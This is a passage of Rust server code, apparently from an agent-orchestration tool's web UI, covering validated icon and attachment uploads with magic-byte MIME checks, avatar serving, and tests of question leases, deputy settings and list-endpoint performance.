10039fn validate_uploaded_icon(icon: &str) -> Result<()> {
10040 if !icon.starts_with("data:") {
10041 anyhow::bail!("upload a raster image");
10042 }
10043 let (mime, bytes) = persona_icon::load(icon)?;
10044 if sniffed_mime(&bytes) != Some(mime) {
10045 anyhow::bail!("image content does not match its type");
10046 }
10047 Ok(())
10048}
10049
10050fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10051 validate_uploaded_icon(icon)?;
10052 atomic_icon_write(path, icon)
10053}
10054
10055fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10056 let home = path.parent().expect("icon parent");
10057 std::fs::create_dir_all(home)?;
10058 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10059 let temp = home.join(format!(".magi-icon-{token}.tmp"));
10060 let result = (|| -> Result<()> {
10061 use std::io::Write;
10062 let mut file = std::fs::OpenOptions::new()
10063 .write(true)
10064 .create_new(true)
10065 .open(&temp)?;
10066 file.write_all(icon.as_bytes())?;
10067 file.sync_all()?;
10068 std::fs::rename(&temp, path)?;
10069 Ok(())
10070 })();
10071 let _ = std::fs::remove_file(temp);
10072 result?;
10073 Ok(())
10074}
10075
10076async fn magi_icon_put(
10077 State(ui): State<Arc<Ui>>,
10078 Json(upload): Json<MagiIconUpload>,
10079) -> ApiResult<Json<serde_json::Value>> {
10080 blocking(move || {
10081 if !upload.icon.starts_with("data:") {
10082 return Err(ApiError::bad_request("upload a raster image"));
10083 }
10084 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10085 if sniffed_mime(&bytes) != Some(mime) {
10086 return Err(ApiError::bad_request(
10087 "image content does not match its type",
10088 ));
10089 }
10090 save_magi_icon(&ui.home, &upload.icon)?;
10091 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10092 })
10093 .await
10094}
10095
10096async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10097 blocking(move || {
10098 match std::fs::remove_file(magi_icon_path(&ui.home)) {
10099 Ok(()) => (),
10100 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10101 Err(e) => return Err(anyhow::Error::from(e).into()),
10102 }
10103 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10104 })
10105 .await
10106}
10107
10108async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10109 let icon = (q.builtin.is_none())
10110 .then(|| read_magi_icon(&ui.home))
10111 .flatten();
10112 let mut response = match icon
10113 .as_deref()
10114 .and_then(|icon| persona_icon::load(icon).ok())
10115 {
10116 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10117 attachment_response(mime, bytes)
10118 }
10119 _ => svg_avatar(persona_icon::magi_svg()),
10120 };
10121 response
10122 .headers_mut()
10123 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10124 response
10125}
10126
10127async fn talk_avatar(
10132 State(ui): State<Arc<Ui>>,
10133 Path(id): Path<String>,
10134 Query(q): Query<AvatarQuery>,
10135) -> ApiResult<Response> {
10136 blocking(move || {
10137 let id = resolve_talk(&ui.talks, &id)?;
10138 let talk = ui.talks.get(&id)?;
10139 let wanted = q
10140 .persona
10141 .as_deref()
10142 .map(str::trim)
10143 .filter(|p| !p.is_empty())
10144 .unwrap_or(&talk.persona)
10145 .to_owned();
10146 let specs = match Config::discover(&talk.repo, None) {
10147 Ok((cfg, _)) => cfg.talk.personas,
10148 Err(e) => {
10149 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10150 Vec::new()
10151 }
10152 };
10153 let found = persona::find(&specs, &wanted);
10154 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10156 let icon = effective_persona_icon(
10157 &ui.home,
10158 &wanted,
10159 found.as_ref().and_then(|p| p.icon.as_deref()),
10160 );
10161 if found.is_none() && icon.is_none() {
10162 return Ok(builtin_avatar(persona::DEFAULT_ID));
10163 }
10164 let Some(icon) = icon
10165 .as_deref()
10166 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10167 else {
10168 return Ok(builtin_avatar(&wanted));
10169 };
10170 let Some(found) = found else {
10171 return Ok(raster_or_builtin(
10172 Some(icon),
10173 persona_icon::builtin_svg(&wanted),
10174 ));
10175 };
10176 match persona_icon::load(icon) {
10177 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10178 let mut res = attachment_response(mime, bytes);
10179 res.headers_mut().insert(
10180 header::CACHE_CONTROL,
10181 header::HeaderValue::from_static("no-cache"),
10182 );
10183 Ok(res)
10184 }
10185 Ok((mime, _)) => {
10186 tracing::warn!(
10187 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10188 found.id
10189 );
10190 Ok(builtin_avatar(&found.id))
10191 }
10192 Err(e) => {
10193 tracing::warn!(
10194 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10195 found.id
10196 );
10197 Ok(builtin_avatar(&found.id))
10198 }
10199 }
10200 })
10201 .await
10202}
10203
10204fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10215 if data.len() > ATTACHMENT_MAX_BYTES {
10216 return Err(ApiError::bad_request(format!(
10217 "attachment is {} bytes, over the {} MiB limit",
10218 data.len(),
10219 ATTACHMENT_MAX_BYTES / (1024 * 1024)
10220 ))
10221 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10222 }
10223 if data.is_empty() {
10224 return Err(ApiError::bad_request("attachment is empty"));
10225 }
10226 let declared = declared_mime(headers)?;
10227 match sniffed_mime(data) {
10228 Some(sniffed) if sniffed == declared => Ok(declared),
10229 Some(sniffed) => Err(ApiError::bad_request(format!(
10230 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10231 ))),
10232 None => Err(ApiError::bad_request(
10233 "the file's bytes do not match any accepted image format",
10234 )),
10235 }
10236}
10237
10238fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10242 let raw = headers
10243 .get(header::CONTENT_TYPE)
10244 .and_then(|v| v.to_str().ok())
10245 .unwrap_or("")
10246 .split(';')
10247 .next()
10248 .unwrap_or("")
10249 .trim()
10250 .to_ascii_lowercase();
10251 ATTACHMENT_MIME_WHITELIST
10252 .iter()
10253 .find(|&&m| m == raw)
10254 .copied()
10255 .ok_or_else(|| {
10256 if raw == "image/svg+xml" {
10257 ApiError::bad_request(
10258 "SVG is not accepted: it can carry active content (e.g. a <script>), \
10259 not just a picture",
10260 )
10261 } else if raw.is_empty() {
10262 ApiError::bad_request("Content-Type is required for an attachment upload")
10263 } else {
10264 ApiError::bad_request(format!(
10265 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10266 image/gif or image/webp"
10267 ))
10268 }
10269 })
10270}
10271
10272fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10275 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10276 Some("image/png")
10277 } else if data.starts_with(b"\xff\xd8\xff") {
10278 Some("image/jpeg")
10279 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10280 Some("image/gif")
10281 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10282 Some("image/webp")
10283 } else {
10284 None
10285 }
10286}
10287
10288fn filename_header(headers: &HeaderMap) -> String {
10294 headers
10295 .get(FILENAME_HEADER)
10296 .and_then(|v| v.to_str().ok())
10297 .map(str::trim)
10298 .filter(|s| !s.is_empty())
10299 .unwrap_or("attachment")
10300 .to_owned()
10301}
10302
10303fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10310 let content_type = ATTACHMENT_MIME_WHITELIST
10311 .iter()
10312 .find(|&&m| m == mime)
10313 .copied()
10314 .unwrap_or("application/octet-stream");
10315 (
10316 [
10317 (header::CONTENT_TYPE, content_type),
10318 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10319 ],
10320 body,
10321 )
10322 .into_response()
10323}
10324
10325async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10333 let repo = repo.to_path_buf();
10334 blocking(move || {
10335 let (cfg, _) = Config::discover(&repo, None)?;
10336 Ok(cfg)
10337 })
10338 .await
10339}
10340
10341fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10347 let mut hits = ids
10348 .into_iter()
10349 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10350 match (hits.next(), hits.next()) {
10351 (Some(one), None) => Ok(one),
10352 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10353 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10354 "`{prefix}` matches more than one {what}, including {a} and {b}"
10355 ))),
10356 }
10357}
10358
10359#[cfg(test)]
10360mod tests {
10361
10362 #[test]
10363 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10364 let dir = tempfile::tempdir().unwrap();
10365 let store = ask::Questions::at(dir.path().join("questions"));
10366 let mut q = Question::new(
10367 "task".to_owned(),
10368 "conduct".to_owned(),
10369 "conduct".to_owned(),
10370 "choose".to_owned(),
10371 String::new(),
10372 vec!["keep".to_owned()],
10373 );
10374 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10375 q.say("why?").unwrap();
10376 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10377 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10378 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10379 store.put(&mut q).unwrap();
10380 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10381 assert_eq!(store.count_needs_owner(), 1);
10382 store.beat(&q.id, ask::WaiterKind::Deputy);
10383 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10384 assert_eq!(store.count_needs_owner(), 0);
10385 let mut stale = store.read_lease(&q.id).unwrap();
10386 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10387 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10388 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10389 assert!(view.deputy_exhausted);
10390 assert!(view.waiting_on_agent);
10391 assert_eq!(view.question.choices, ["keep"]);
10392 store.drop_lease(&q.id);
10393 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10394 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10395 }
10396
10397 #[test]
10398 fn holder_reads_the_lease_not_the_record() {
10399 let mut q = Question::new(
10400 "run".to_owned(),
10401 "implement".to_owned(),
10402 "impl-A".to_owned(),
10403 "which?".to_owned(),
10404 String::new(),
10405 Vec::new(),
10406 );
10407 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10408 q.cwd = Some("/tmp".to_owned());
10409 assert_eq!(holder_of(&q, None), Some("nobody"));
10410 let beat = |kind, ago: i64| ask::Lease {
10411 kind,
10412 pid: 1,
10413 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10414 .unwrap(),
10415 };
10416 let fresh = beat(ask::WaiterKind::Asker, 1);
10417 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10418 let daemon = beat(ask::WaiterKind::Daemon, 1);
10419 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10420 let stale = beat(ask::WaiterKind::Asker, 3600);
10421 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10422
10423 let mut c = Question::new(
10426 "task".to_owned(),
10427 crate::conduct::NODE.to_owned(),
10428 "conduct".to_owned(),
10429 "which?".to_owned(),
10430 String::new(),
10431 Vec::new(),
10432 );
10433 assert_eq!(holder_of(&c, None), Some("nobody"));
10434 c.cwd = Some("/tmp".to_owned());
10435 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10436 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10437 let deputy = beat(ask::WaiterKind::Deputy, 1);
10438 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10439 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10440
10441 let mut r = Question::new(
10443 String::new(),
10444 crate::bump::NOTICE_NODE.to_owned(),
10445 "release-watch".to_owned(),
10446 "stuck?".to_owned(),
10447 String::new(),
10448 vec!["hold".to_owned()],
10449 );
10450 assert_eq!(holder_of(&r, None), Some("nobody"));
10451 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10452 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10453 r.deputy = None;
10455 r.seat = "bump".to_owned();
10456 assert_eq!(holder_of(&r, None), None);
10457
10458 let mut m = Question::new(
10461 "run".to_owned(),
10462 crate::land::APPROVAL_NODE.to_owned(),
10463 "land".to_owned(),
10464 "merge?".to_owned(),
10465 String::new(),
10466 Vec::new(),
10467 );
10468 assert_eq!(holder_of(&m, None), Some("nobody"));
10469 assert_eq!(
10470 holder_of(&m, Some(&fresh)),
10471 Some("asker"),
10472 "a live explicit wait is a listener even before a deputy is attached"
10473 );
10474 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10475 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10476 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10477 assert_eq!(holder_of(&m, None), Some("nobody"));
10478 }
10479
10480 fn stub_config() -> Config {
10481 Config {
10484 agents: vec![crate::config::AgentSpec {
10485 id: "stub".to_owned(),
10486 kind: AgentKind::Command,
10487 model: None,
10488 command: vec!["true".to_owned()],
10489 extra_args: Vec::new(),
10490 env: Default::default(),
10491 prompt_delivery: None,
10492 max_turn_secs: None,
10493 }],
10494 ..Config::default()
10495 }
10496 }
10497
10498 fn plain_question(seat: &str) -> Question {
10499 Question::new(
10500 String::new(),
10501 "n".to_owned(),
10502 seat.to_owned(),
10503 "s".to_owned(),
10504 String::new(),
10505 Vec::new(),
10506 )
10507 }
10508
10509 #[test]
10510 fn deputies_enabled_follows_the_config() {
10511 let on = stub_config();
10512 assert!(crate::deputy::can_start(Some(&on), ""));
10513 assert!(crate::deputy::can_start(Some(&on), "stub"));
10514 let mut off = on.clone();
10515 off.daemon.max_deputies = 0;
10516 assert!(!crate::deputy::can_start(Some(&off), ""));
10517 let mut empty = on;
10518 empty.agents.clear();
10519 assert!(!crate::deputy::can_start(Some(&empty), ""));
10520 assert!(!crate::deputy::can_start(None, ""));
10521 }
10522
10523 #[test]
10524 fn question_views_load_the_config_once() {
10525 let dir = TempDir::new().unwrap();
10526 let store = ask::Questions::at(dir.path().to_path_buf());
10527 let mut with_deputy = plain_question("b");
10528 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10529 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10530
10531 let calls = std::cell::Cell::new(0usize);
10532 let views = question_views(qs.clone(), &store, || {
10533 calls.set(calls.get() + 1);
10534 Some(stub_config())
10535 });
10536 assert_eq!(calls.get(), 1);
10537 assert_eq!(views.len(), 3);
10538 for (v, q) in views.iter().zip(&qs) {
10539 assert_eq!(
10540 v.deputies_enabled,
10541 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10542 );
10543 }
10544
10545 let views = question_views(qs, &store, || None);
10546 assert!(views.iter().all(|v| !v.deputies_enabled));
10547
10548 let calls = std::cell::Cell::new(0usize);
10549 let views = question_views(Vec::new(), &store, || {
10550 calls.set(calls.get() + 1);
10551 None
10552 });
10553 assert!(views.is_empty());
10554 assert_eq!(calls.get(), 0);
10555 }
10556
10557 use pretty_assertions::assert_eq;
10558 use serde_json::Value;
10559 use tempfile::TempDir;
10560 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10561
10562 use super::*;
10563 use crate::config::Config;
10564 use crate::queue::Source;
10565
10566 const SETTLE_STEPS: usize = 3_000;
10577
10578 struct Fixture {
10584 home: TempDir,
10585 addr: SocketAddr,
10586 }
10587
10588 impl Fixture {
10589 async fn start() -> Self {
10590 Self::with_loop(launch_idle).await
10591 }
10592
10593 async fn with_loop(launch: Launch) -> Self {
10595 let home = TempDir::new().expect("temp home");
10596 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10597 Self { home, addr }
10598 }
10599
10600 async fn with_repo(repo: PathBuf) -> Self {
10604 let home = TempDir::new().expect("temp home");
10605 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10606 Self { home, addr }
10607 }
10608
10609 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10612 let home = TempDir::new().expect("temp home");
10613 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10614 Self { home, addr }
10615 }
10616
10617 async fn serve(
10618 home: &FsPath,
10619 repo: PathBuf,
10620 launch: Launch,
10621 machine: Option<PathBuf>,
10622 ) -> SocketAddr {
10623 let queue = Queue::at(home.join("queue"));
10624 let runs = home.join("runs");
10625 std::fs::create_dir_all(&runs).expect("runs dir");
10626 let worktrees = home.join("wt").join("magi");
10627 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10628 let ui = Ui::new(
10629 queue,
10630 Questions::at(home.join("questions")),
10631 Talks::at(home.join("talks")),
10632 runs,
10633 home.to_path_buf(),
10634 repo,
10635 )
10636 .with_worktrees_root(worktrees)
10637 .with_machine_config(machine)
10638 .with_launch(launch);
10639 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10640 .await
10641 .expect("bind loopback");
10642 let addr = listener.local_addr().expect("local addr");
10643 tokio::spawn(async move {
10644 let router = ui
10645 .router()
10646 .layer(axum::middleware::from_fn(request_cost::observe));
10647 let _ = axum::serve(listener, router).await;
10648 });
10649 addr
10650 }
10651
10652 fn queue(&self) -> Queue {
10653 Queue::at(self.home.path().join("queue"))
10654 }
10655
10656 fn questions(&self) -> Questions {
10657 Questions::at(self.home.path().join("questions"))
10658 }
10659
10660 fn talks(&self) -> Talks {
10661 Talks::at(self.home.path().join("talks"))
10662 }
10663
10664 fn runs(&self) -> PathBuf {
10665 self.home.path().join("runs")
10666 }
10667
10668 async fn get(&self, path: &str) -> Res {
10669 request(self.addr, "GET", path, None).await
10670 }
10671
10672 async fn head(&self, path: &str) -> Res {
10677 request(self.addr, "HEAD", path, None).await
10678 }
10679
10680 async fn post(&self, path: &str, body: Option<&str>) -> Res {
10681 request(self.addr, "POST", path, body).await
10682 }
10683
10684 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10685 request_with(self.addr, "GET", path, None, extra).await
10686 }
10687
10688 async fn delete(&self, path: &str) -> Res {
10689 request(self.addr, "DELETE", path, None).await
10690 }
10691
10692 async fn put(&self, path: &str, body: &str) -> Res {
10693 request(self.addr, "PUT", path, Some(body)).await
10694 }
10695
10696 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
10698 request_bytes(self.addr, path, headers, body).await
10699 }
10700 }
10701
10702 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
10705 let tmp = TempDir::new().unwrap();
10706 let mut repos = Vec::new();
10707 for name in ["one", "two"] {
10708 let repo = tmp.path().join(name);
10709 let origin = tmp.path().join(format!("{name}.git"));
10710 std::fs::create_dir_all(&repo).unwrap();
10711 crate::git::git(&repo, &["init", "-b", "main"])
10712 .await
10713 .unwrap();
10714 std::fs::write(
10715 repo.join("magi.toml"),
10716 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
10717 )
10718 .unwrap();
10719 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
10720 crate::git::git(
10721 &repo,
10722 &[
10723 "-c",
10724 "user.name=fixture",
10725 "-c",
10726 "user.email=fixture@example.invalid",
10727 "commit",
10728 "-m",
10729 "fixture",
10730 ],
10731 )
10732 .await
10733 .unwrap();
10734 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
10735 .await
10736 .unwrap();
10737 crate::git::git(
10738 &repo,
10739 &["remote", "add", "origin", origin.to_str().unwrap()],
10740 )
10741 .await
10742 .unwrap();
10743 crate::git::git(&repo, &["push", "origin", "main"])
10744 .await
10745 .unwrap();
10746 crate::git::git(
10747 &repo,
10748 &[
10749 "symbolic-ref",
10750 "refs/remotes/origin/HEAD",
10751 "refs/remotes/origin/main",
10752 ],
10753 )
10754 .await
10755 .unwrap();
10756 let (cfg, _) = Config::discover(&repo, None).unwrap();
10757 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
10758 repos.push(repo);
10759 }
10760 let repos: [PathBuf; 2] = repos.try_into().unwrap();
10761 (tmp, repos)
10762 }
10763
10764 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
10765 let (tmp, repos) = performance_repositories().await;
10766 let machine = tmp.path().join("machine.toml");
10767 std::fs::write(&machine, "").unwrap();
10768 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
10769 (tmp, repos, fx)
10770 }
10771
10772 fn seed_performance(
10773 fx: &Fixture,
10774 repos: &[PathBuf; 2],
10775 questions: usize,
10776 runs: usize,
10777 items: usize,
10778 ) {
10779 for i in fx.questions().list().len()..questions {
10781 let mut question = Question::new(
10782 "20261001-000000-0000".into(),
10783 "implement".into(),
10784 "impl-A".into(),
10785 format!("question {i}"),
10786 "context".into(),
10787 vec!["yes".into(), "no".into()],
10788 );
10789 question.id = format!("20261003-000000-{i:04x}");
10790 fx.questions().put(&mut question).unwrap();
10791 }
10792 for i in run_ids(&fx.runs()).len()..runs {
10793 write_run_repo(
10794 &fx.runs(),
10795 &format!("20261001-000000-{i:04x}"),
10796 RunStatus::Ready,
10797 repos[i % 2].to_str().unwrap(),
10798 );
10799 }
10800 for i in fx.talks().list().len()..items {
10801 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
10802 let mut talk = fx.talks().get(&id).unwrap();
10803 talk.repo = repos[i % 2].clone();
10804 fx.talks().put(&mut talk).unwrap();
10805 let mut task = crate::queue::Task::new(
10806 format!("task {i}"),
10807 "instruction".into(),
10808 repos[i % 2].clone(),
10809 crate::queue::Source::Agent {
10810 run: id,
10811 node: crate::queue::CHAT_NODE.into(),
10812 },
10813 );
10814 task.id = format!("20261004-000000-{i:04x}");
10815 fx.queue().put(&mut task).unwrap();
10816 if i < crate::notices::CAP {
10818 Notices::at(fx.home.path().join("notifications"))
10819 .raise(Notice::info(&format!("notice-{i}"), "notification"))
10820 .unwrap();
10821 }
10822 }
10823 assert_eq!(fx.questions().list().len(), questions);
10824 assert_eq!(run_ids(&fx.runs()).len(), runs);
10825 assert_eq!(fx.talks().list().len(), items);
10826 assert_eq!(fx.queue().list().len(), items);
10827 assert_eq!(
10828 Notices::at(fx.home.path().join("notifications"))
10829 .list()
10830 .len(),
10831 items.min(crate::notices::CAP)
10832 );
10833 }
10834
10835 fn request_counts(res: &Res) -> (usize, usize) {
10836 assert_eq!(res.status, 200, "{}", res.body);
10837 (
10838 res.header("x-test-discoveries").unwrap().parse().unwrap(),
10839 res.header("x-test-git").unwrap().parse().unwrap(),
10840 )
10841 }
10842
10843 #[tokio::test]
10844 async fn list_request_cost_is_independent_of_record_count() {
10845 let (_tmp, repos, fx) = performance_fixture().await;
10846 let mut previous = None;
10847 for n in [4, 60] {
10848 seed_performance(&fx, &repos, n, n, n);
10849 let mut costs = Vec::new();
10850 for (path, discoveries) in [
10851 ("/api/questions", 1),
10852 ("/api/talks", 2),
10853 ("/api/health", 1),
10854 ("/api/stats", 1),
10855 ] {
10856 for repo in &repos {
10859 let cache = repo.join(".git/magi/config");
10860 if cache.exists() {
10861 std::fs::remove_dir_all(cache).unwrap();
10862 }
10863 }
10864 let cost = request_counts(&fx.get(path).await);
10865 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
10866 assert_eq!(cost.0, discoveries, "{path}, N={n}");
10867 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
10868 costs.push(cost);
10869 }
10870 if let Some(previous) = previous {
10871 assert_eq!(costs, previous);
10872 }
10873 previous = Some(costs);
10874 }
10875 }
10879
10880 #[tokio::test]
10883 async fn list_handler_cost_without_transport() {
10884 let (_tmp, repos) = performance_repositories().await;
10885 let fx = Fixture {
10886 home: TempDir::new().unwrap(),
10887 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10888 };
10889 let ui = Arc::new(
10890 Ui::new(
10891 fx.queue(),
10892 fx.questions(),
10893 fx.talks(),
10894 fx.runs(),
10895 fx.home.path().to_path_buf(),
10896 repos[0].clone(),
10897 )
10898 .with_worktrees_root(fx.home.path().join("wt")),
10899 );
10900 let mut previous = None;
10901 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
10902 seed_performance(&fx, &repos, n, runs, items);
10903 let mut costs = Vec::new();
10904 for endpoint in ["questions", "talks", "health", "stats"] {
10905 for repo in &repos {
10906 let cache = repo.join(".git/magi/config");
10907 if cache.exists() {
10908 std::fs::remove_dir_all(cache).unwrap();
10909 }
10910 }
10911 let (_, cost) = request_cost::measure(async {
10912 match endpoint {
10913 "questions" => {
10914 let _ = questions_list(State(ui.clone())).await.unwrap();
10915 }
10916 "talks" => {
10917 let _ = talks_list(
10918 State(ui.clone()),
10919 Query(ListQuery {
10920 limit: None,
10921 ids: None,
10922 }),
10923 )
10924 .await
10925 .unwrap();
10926 }
10927 "health" => {
10928 let _ = health(State(ui.clone())).await.unwrap();
10929 }
10930 _ => {
10931 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
10932 .await
10933 .unwrap();
10934 }
10935 }
10936 })
10937 .await;
10938 eprintln!("{endpoint} handler N={n}: {cost:?}");
10939 assert_eq!(
10940 cost.0,
10941 if endpoint == "talks" { 2 } else { 1 },
10942 "{endpoint}"
10943 );
10944 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
10945 costs.push(cost);
10946 }
10947 if let Some(previous) = previous {
10948 assert_eq!(costs, previous);
10949 }
10950 previous = Some(costs);
10951 }
10952 }
10953
10954 #[tokio::test]
10955 async fn list_request_cost_scopes_do_not_mix() {
10956 let (_tmp, repos, fx) = performance_fixture().await;
10957 seed_performance(&fx, &repos, 10, 0, 10);
10958 let (questions, talks, notices) = tokio::join!(
10959 fx.get("/api/questions"),
10960 fx.get("/api/talks"),
10961 fx.get("/api/notifications")
10962 );
10963 assert_eq!(request_counts(&questions).0, 1);
10964 assert_eq!(request_counts(&talks).0, 2);
10965 assert_eq!(request_counts(¬ices), (0, 0));
10966 }
10967
10968 #[tokio::test]
10969 async fn list_endpoints_large_home_responses() {
10970 check_large_home_endpoints(false).await;
10971 }
10972
10973 #[tokio::test]
10974 #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
10975 async fn list_endpoints_large_home_ceiling() {
10976 check_large_home_endpoints(true).await;
10977 }
10978
10979 async fn check_large_home_endpoints(timed: bool) {
10980 let (_tmp, repos, fx) = performance_fixture().await;
10981 seed_performance(&fx, &repos, 200, 300, 400);
10982 let mut failures = Vec::new();
10983 for path in [
10986 "/",
10987 "/app.js",
10988 "/app.css",
10989 "/api/questions",
10990 "/api/runs?limit=300",
10991 "/api/queue",
10992 "/api/talks",
10993 "/api/notifications",
10994 "/api/health",
10995 "/api/stats",
10996 "/api/loop",
10997 "/api/settings",
10998 "/api/repos",
10999 ] {
11000 let start = std::time::Instant::now();
11001 let result = if timed {
11002 tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11003 } else {
11004 Ok(fx.get(path).await)
11005 };
11006 let elapsed = start.elapsed();
11007 eprintln!("{path}: {elapsed:?}");
11008 match result {
11009 Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11010 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11011 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11012 }
11013 }
11014 assert!(failures.is_empty(), "{}", failures.join("\n"));
11015 }
11016
11017 struct Res {
11018 status: u16,
11019 headers: String,
11020 head: String,
11025 body: String,
11026 bytes: Vec<u8>,
11030 }
11031
11032 impl Res {
11033 fn json(&self) -> Value {
11034 serde_json::from_str(&self.body)
11035 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11036 }
11037
11038 fn header(&self, name: &str) -> Option<&str> {
11040 self.head.lines().find_map(|line| {
11041 let (key, value) = line.split_once(':')?;
11042 key.trim()
11043 .eq_ignore_ascii_case(name)
11044 .then(|| value.trim_start().trim_end_matches('\r'))
11045 })
11046 }
11047 }
11048
11049 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11052 request_with(addr, method, path, body, &[]).await
11053 }
11054
11055 async fn request_with(
11059 addr: SocketAddr,
11060 method: &str,
11061 path: &str,
11062 body: Option<&str>,
11063 extra: &[(&str, &str)],
11064 ) -> Res {
11065 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11066 for (name, value) in extra {
11067 head.push_str(&format!("{name}: {value}\r\n"));
11068 }
11069 if let Some(body) = body {
11070 head.push_str("Content-Type: application/json\r\n");
11071 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11072 }
11073 head.push_str("\r\n");
11074 if let Some(body) = body {
11075 head.push_str(body);
11076 }
11077 let mut socket = tokio::net::TcpStream::connect(addr)
11078 .await
11079 .expect("connect to the test server");
11080 socket
11081 .write_all(head.as_bytes())
11082 .await
11083 .expect("write request");
11084 let mut raw = Vec::new();
11085 socket.read_to_end(&mut raw).await.expect("read response");
11086 let split = raw
11089 .windows(4)
11090 .position(|w| w == b"\r\n\r\n")
11091 .expect("a header block");
